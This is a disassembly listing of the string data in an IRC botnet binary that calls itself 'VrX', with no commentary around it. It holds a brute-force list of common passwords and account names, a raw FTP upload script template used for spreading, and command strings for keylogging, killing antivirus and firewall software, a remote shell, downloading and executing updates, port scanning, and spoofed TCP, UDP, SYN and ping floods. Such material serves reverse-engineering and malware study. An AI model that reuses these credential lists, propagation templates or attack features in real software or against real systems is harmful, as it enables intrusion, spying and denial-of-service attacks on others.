___:00429318o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429314o align 4 a2003 db '2003',0 ; DATA XREF: sub_41AF2B+BAo ; ___:00429310o align 4 a2002 db '2002',0 ; DATA XREF: ___:0042930Co align 4 a2001 db '2001',0 ; DATA XREF: ___:00429308o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429304o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o a123456 db '123456',0 ; DATA XREF: ___:004292F0o align 4 a12345 db '12345',0 ; DATA XREF: ___:004292ECo align 10h a1234 db '1234',0 ; DATA XREF: ___:004292E8o align 4 a123 db '123',0 ; DATA XREF: ___:004292E4o a12 db '12',0 ; DATA XREF: ___:004292E0o align 10h a1: ; DATA XREF: ___:0040AFBAo ; ___:004292DCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D8o aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o aPass db 'pass',0 ; DATA XREF: ___:004292D0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo align 10h aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C4o align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o align 10h aAdm db 'adm',0 ; DATA XREF: ___:004292BCo aDb2 db 'db2',0 ; DATA XREF: ___:00429464o aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co align 10h aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429444o align 10h aDefault db 'default',0 ; DATA XREF: ___:00429334o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co align 10h aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o aStudent db 'student',0 ; DATA XREF: ___:004294C0o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 10h aRoot db 'root',0 ; DATA XREF: ___:00429340o align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C8o align 10h aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401686o aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040163Bo aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A38 db 2Dh ; - ; DATA XREF: ___:0040160Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015BDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401582o dd 2E646574h, 0 dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014ADo dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013A7o dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Bo ; sub_410080+EAo ... unk_429AD4 db 3 ; DATA XREF: sub_4017E7+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40194F+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40194F+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D27o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D12o align 4 unk_429B38 db 3 ; DATA XREF: sub_401AC7+7CFEo a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B58 db 3 ; DATA XREF: sub_401AC7+7CE1o a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B78 db 3 ; DATA XREF: sub_401AC7+7C71o a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7C4Eo align 4 unk_429BCC db 3 ; DATA XREF: sub_401AC7+7C13o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7C04o ; sub_401AC7+7C62o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7BF0o align 4 asc_429C4C: ; DATA XREF: sub_401AC7+7BC0o unicode 0, <~>,0 unk_429C50 db 3 ; DATA XREF: sub_401AC7+7B6Fo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 4 unk_429C74 db 3 ; DATA XREF: sub_401AC7+7B07o a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C9C db 3 ; DATA XREF: sub_401AC7+7AC5o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CBC db 3 ; DATA XREF: sub_401AC7+7AA7o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429CE0 db 3 ; DATA XREF: sub_401AC7+7A8Eo a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429D00 db 3 ; DATA XREF: sub_401AC7+7A6Eo a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D20 db 3 ; DATA XREF: sub_401AC7+7A55o a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D38 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40949Eo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D64 db 2Dh ; - ; DATA XREF: sub_401AC7+79D0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D88 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409451o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DB0 db 2Dh ; - ; DATA XREF: sub_401AC7+7980o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401AC7+7966o unk_429DDC db 3 ; DATA XREF: sub_401AC7+7865o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429E00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409317o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E24 db 2Dh ; - ; DATA XREF: sub_401AC7+7846o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E44 db 3 ; DATA XREF: sub_401AC7+781Do a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4092C8o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_429E90 db 2Dh ; - ; DATA XREF: sub_401AC7+77D3o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409260o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_429EE0 db 2Dh ; - ; DATA XREF: sub_401AC7+778Fo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429F00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409200o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F30 db 2Dh ; - ; DATA XREF: sub_401AC7+7732o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F54 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401AC7+76F4o dd 27732527h, 2Eh unk_429F70 db 2Dh ; - ; DATA XREF: sub_401AC7+767Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F94 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401AC7+760Ao dd 0 unk_429FAC db 2Dh ; - ; DATA XREF: sub_401AC7+75E0o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FEC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401AC7+7571o dd 2Eh dword_42A004 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401AC7:loc_408F8Do dd 746E6573h, 2Eh unk_42A020 db 2Dh ; - ; DATA XREF: sub_401AC7+74BFo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42A040 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401AC7+7488o dd 732520h unk_42A058 db 2Dh ; - ; DATA XREF: sub_401AC7+747Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A084: ; DATA XREF: sub_401AC7+7462o ; sub_410080+FBo ... dw 0Ah unicode 0, <>,0 unk_42A088 db 3 ; DATA XREF: sub_401AC7+743Ao a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A8 db 3 ; DATA XREF: sub_401AC7+7426o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401AC7:loc_408E7Co align 10h aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401AC7+73ABo align 10h aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401AC7+7333o align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401AC7+72E6o align 4 aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401AC7+725Fo align 10h aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401AC7+7232o ; sub_401AC7+72DEo align 4 aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401AC7+722Do align 4 unk_42A17C db 3 ; DATA XREF: sub_401AC7+720Co a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 4 unk_42A194 db 3 ; DATA XREF: sub_401AC7+71D1o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 4 unk_42A1C4 db 3 ; DATA XREF: sub_401AC7+71B5o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E8 db 3 ; DATA XREF: sub_401AC7+7116o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 4 unk_42A204 db 3 ; DATA XREF: sub_401AC7+70D8o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 10h unk_42A220 db 3 ; DATA XREF: sub_401AC7+7082o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A23C dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401AC7+7017o dword_42A250 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+6FDDo ; sub_401AC7+7A60o unk_42A25C db 3 ; DATA XREF: sub_401AC7+6FB1o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+6FA3o align 4 dword_42A284 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401AC7+6F7Ao dd 25203A29h, 73h dword_42A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401AC7+6F0Fo dd 203A2973h, 7325h dword_42A2BC dd 45444F4Dh, 732520h ; DATA XREF: sub_401AC7+6EBAo dword_42A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401AC7+6E88o dd 203A2973h, 7325h dword_42A2E0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+6E13o dword_42A2EC dd 0A0D7325h, 0 ; DATA XREF: sub_401AC7+6DE1o ; sub_401AC7+6E67o ... dword_42A2F4 dd 54524150h, 732520h ; DATA XREF: sub_401AC7+6DACo dword_42A2FC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6D6Fo aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A338 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6CFEo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A364 db 2Dh ; - ; DATA XREF: sub_401AC7+6CA1o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A3A0 db 2Dh ; - ; DATA XREF: sub_401AC7+6C2Co db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D4 db 3 ; DATA XREF: sub_401AC7+6BC6o a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A408 db 3 ; DATA XREF: sub_401AC7+6B89o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 10h dword_42A420 dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401AC7:loc_4085B7o dword_42A434 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401AC7+6AB0o ; sub_401AC7+6B63o ... dword_42A444 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7:loc_408518o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A48C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7+6A47o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C8 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+69D8o aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401AC7+6935o align 10h dword_42A500 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401AC7+68D6o dd 7325203Ah, 0 unk_42A51C db 2Dh ; - ; DATA XREF: sub_401AC7+68CBo db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 10h unk_42A540 db 2Dh ; - ; DATA XREF: sub_401AC7+6831o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A57C db 2Dh ; - ; DATA XREF: sub_401AC7+67BBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5AC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7:loc_4081BFo ; sub_401AC7:loc_4091C2o unk_42A5B8 db 2Dh ; - ; DATA XREF: sub_401AC7+66E3o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_408188o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A614 db 2Dh ; - ; DATA XREF: sub_401AC7+66B7o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A64C db 2Dh ; - ; DATA XREF: sub_401AC7+6641o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A678 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+65CAo aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A6B4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+655Bo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A6E4 db 2Dh ; - ; DATA XREF: sub_401AC7+64E2o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A71C db 2Dh ; - ; DATA XREF: sub_401AC7+646Ao db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A74C db 2Dh ; - ; DATA XREF: sub_401AC7+63E9o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A784 db 2Dh ; - ; DATA XREF: sub_401AC7+6371o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A7B4 db 2Dh ; - ; DATA XREF: sub_401AC7+6301o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7EC db 2Dh ; - ; DATA XREF: sub_401AC7+6289o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A828 db 2Dh ; - ; DATA XREF: sub_401AC7+6219o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A868 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+61AAo aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 4 unk_42A894 db 2Dh ; - ; DATA XREF: sub_401AC7+60DEo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D8 db 2Dh ; - ; DATA XREF: sub_401AC7+606Fo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A914 db 3 ; DATA XREF: sub_401AC7+5F75o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401AC7+5EF1o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401AC7+5DF7o align 4 dword_42A96C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401AC7+5D69o ; sub_401AC7+7063o unk_42A978 db 2Dh ; - ; DATA XREF: sub_401AC7+5D0Ao db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401AC7+5C9Bo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42AA04 db 3 ; DATA XREF: sub_401AC7+5C04o ; sub_401AC7+5FE4o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA3C db 3 ; DATA XREF: sub_401AC7+5B95o a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 4 unk_42AAA4 db 3 ; DATA XREF: sub_401AC7+5A1Fo a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD8 db 3 ; DATA XREF: sub_401AC7+59C2o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB0C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_407364o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB3C db 2Dh ; - ; DATA XREF: sub_401AC7+5896o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401AC7+587Fo aSS_1 db '-s:%s',0 ; DATA XREF: sub_401AC7+5868o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401AC7+5848o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401AC7+5824o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401AC7+5813o align 4 unk_42ABAC db 2Dh ; - ; DATA XREF: sub_401AC7+57BAo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401AC7+5797o align 4 unk_42ABD4 db 3 ; DATA XREF: sub_401AC7+5761o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401AC7+5702o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC48 db 2Dh ; - ; DATA XREF: sub_401AC7+5697o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42AC90 db 2Dh ; - ; DATA XREF: sub_401AC7+55E9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42ACC4 db 2Dh ; - ; DATA XREF: sub_401AC7+55B5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF8 db 2Dh ; - ; DATA XREF: sub_401AC7+5591o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42AD30 db 2Dh ; - ; DATA XREF: sub_401AC7+54EFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+54D2o align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401AC7+54BDo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401AC7+544Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AE04 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406E6Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE3C db 2Dh ; - ; DATA XREF: sub_401AC7+538Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AE74 db 2Dh ; - ; DATA XREF: sub_401AC7+5310o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401AC7+5300o align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401AC7+52F9o unk_42AEB8 db 2Dh ; - ; DATA XREF: sub_401AC7+5264o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401AC7+5254o align 4 aAck db 'ack',0 ; DATA XREF: sub_401AC7+523Do aHcon db 'hcon',0 ; DATA XREF: sub_401AC7+51C9o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401AC7+51B6o unk_42AF00 db 2Dh ; - ; DATA XREF: sub_401AC7+5167o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401AC7+50F3o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401AC7+5008o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401AC7+4FF1o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401AC7+4FDAo align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401AC7+4FB0o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401AC7+4F93o aP: ; DATA XREF: sub_401AC7+4F7Co ; ___:00438318o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401AC7+4F65o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401AC7+4F4Eo align 4 aNs db 'ns',0 ; DATA XREF: sub_401AC7+4F37o align 4 